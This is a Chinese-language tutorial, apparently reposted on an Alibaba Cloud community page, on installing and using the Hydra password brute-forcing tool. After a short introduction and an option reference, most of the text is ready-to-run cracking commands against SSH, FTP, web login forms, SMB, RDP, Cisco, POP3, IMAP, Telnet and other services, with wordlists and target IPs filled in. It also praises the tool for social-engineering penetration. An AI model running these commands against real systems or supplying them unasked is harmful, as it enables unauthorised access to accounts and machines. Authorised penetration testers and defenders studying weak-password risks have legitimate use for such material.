Linux下暴力破解工具Hydra詳解

來源:互聯網
上載者:User

一、簡介

Number one of the biggest security holes are passwords, as every password security study shows. Hydra is a parallized login cracker which supports numerous protocols to attack. New modules are easy to add, beside that, it is flexible and very fast.

Hydra was tested to compile on Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1 and OSX, and is made available under GPLv3 with a special OpenSSL license expansion.

Currently this tool supports:
AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

For HTTP, POP3, IMAP and SMTP, several login mechanisms like plain and MD5 digest etc. are supported.

This tool is a proof of concept code, to give researchers and security consultants the possiblity to show how easy it would be to gain unauthorized access from remote to a system.

The program is maintained by van Hauser and David Maciejak.

The Hackers Choice
http://www.thc.org/thc-hydra

二、安裝

1、安裝相關依賴包

  • Ubuntu/Debian
apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev libncurses5-dev hydra

  Debian和Ubuntu發行版,源裡內建hydra,直接用apt-get線上安裝。

  • Redhat/Fedora
yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel
  • OpenSuSE
zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-devel

本實驗用的是 CentOS release 5.6 (Final),執行yum install 後相關依賴包安裝情況如下:

2、Hydra 安裝

# wget http://www.thc.org/releases/hydra-7.4.1.tar.gz# tar zxvf hydra-7.4.1.tar.gz# cd hydra-7.4.1# ./configure # make && make install

# ./configure 會檢測當前系統一些組件配置,主要是對於破解支援模組的檢測,可根據需要安裝對應的支援庫和依賴包。

# make

# make install

三、Syntax

# hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns][-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]server service [OPT]

-R
繼續從上一次進度接著破解

-S
大寫,採用SSL連結

-s <PORT>
小寫,可通過這個參數指定非預設連接埠

-l <LOGIN>
指定破解的使用者,對特定使用者破解

-L <FILE>
指定使用者名稱字典

-p <PASS>
小寫,指定密碼破解,少用,一般是採用密碼字典

-P <FILE>
大寫,指定密碼字典

-e <ns>
可選選項,n:空密碼試探,s:使用指定使用者和密碼試探

-C
<FILE>

使用冒號分割格式,例如“登入名稱:密碼”來代替-L/-P參數

-M
<FILE>

指定目標列表檔案一行一條

-o
<FILE>

指定結果輸出檔案

-f
在使用-M參數以後,找到第一對登入名稱或者密碼的時候中止破解

-t
<TASKS>

同時啟動並執行線程數,預設為16

-w
<TIME>

設定最大逾時的時間,單位秒,預設是30s

-v /
-V

顯示詳細過程

server
目標ip

service
指定服務名,支援的服務和協議:telnet
ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form
http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener
postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2
smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等

OPT
可選項

四、執行個體

1、手動建立使用者名稱字典和密碼字典,這裡只是為了示範,只加了幾個使用者名稱和弱口令。真正破解時,需要利用密碼字典產生器產生強大的字典。 

2、破解ssh:

# hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh

破解成功,直接顯示結果。

也可以使用 -o 選項指定結果輸出檔案。

# hydra -L users.txt -P password.txt -t 1 -vV -e ns -o save.log 192.168.1.104 ssh

五、其他類型密碼破解

  • 破解ftp:
# hydra ip ftp -l 使用者名稱 -P 密碼字典 -t 線程(預設16) -vV# hydra ip ftp -l 使用者名稱 -P 密碼字典 -e ns -vV
  • get方式提交,破解web登入:
  # hydra -l 使用者名稱 -p 密碼字典 -t 線程 -vV -e ns ip http-get /admin/  # hydra -l 使用者名稱 -p 密碼字典 -t 線程 -vV -e ns -f ip http-get /admin/index.php
  • post方式提交,破解web登入:

  該軟體的強大之處就在於支援多種協議的破解,同樣也支援對於web使用者介面的登入破解,get方式提交的表單比較簡單,這裡通過post方式提交密碼破解提供思路。該工具有一個不好的地方就是,如果目標網站登入時候需要驗證碼就無法破解了。帶參數破解如下:

<form action="index.php" method="POST"><input type="text" name="name" /><BR><br><input type="password" name="pwd" /><br><br><input type="submit" name="sub" value="提交"></form>

  假設有以上一個密碼登入表單,我們執行命令:

# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”

  說明:破解的使用者名稱是admin,密碼字典是pass.lst,破解結果儲存在ok.lst,-t 是同時線程數為1,-f 是當破解了一個密碼就停止,ip 是本地,就是目標ip,http-post-form表示破解是採用http 的post 方式提交的表單密碼破解。

  後面參數是網頁中對應的表單欄位的name 屬性,後面<title>中的內容是表示錯誤猜解的返回資訊提示,可以自訂。

  • 破解https:
# hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
  • 破解teamspeak:
# hydra -l 使用者名稱 -P 密碼字典 -s 連接埠號碼 -vV ip teamspeak
  • 破解cisco:
# hydra -P pass.txt 10.36.16.18 cisco# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
  • 破解smb:
# hydra -l administrator -P pass.txt 10.36.16.18 smb
  • 破解pop3:
# hydra -l muts -P pass.txt my.pop3.mail pop3
  • 破解rdp:
# hydra ip rdp -l administrator -P pass.txt -V
  • 破解http-proxy:
# hydra -l admin -P pass.txt http-proxy://10.36.16.18
  • 破解imap:
# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN# hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
  • 破解telnet
# hydra ip telnet -l 使用者 -P 密碼字典 -t 32 -s 23 -e ns -f -V

六、總結

此工具強大之處遠多於以上測試,其密碼能否破解關鍵在於強大的字典,對於社工型滲透來說,有時能夠得到事半功倍的效果。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.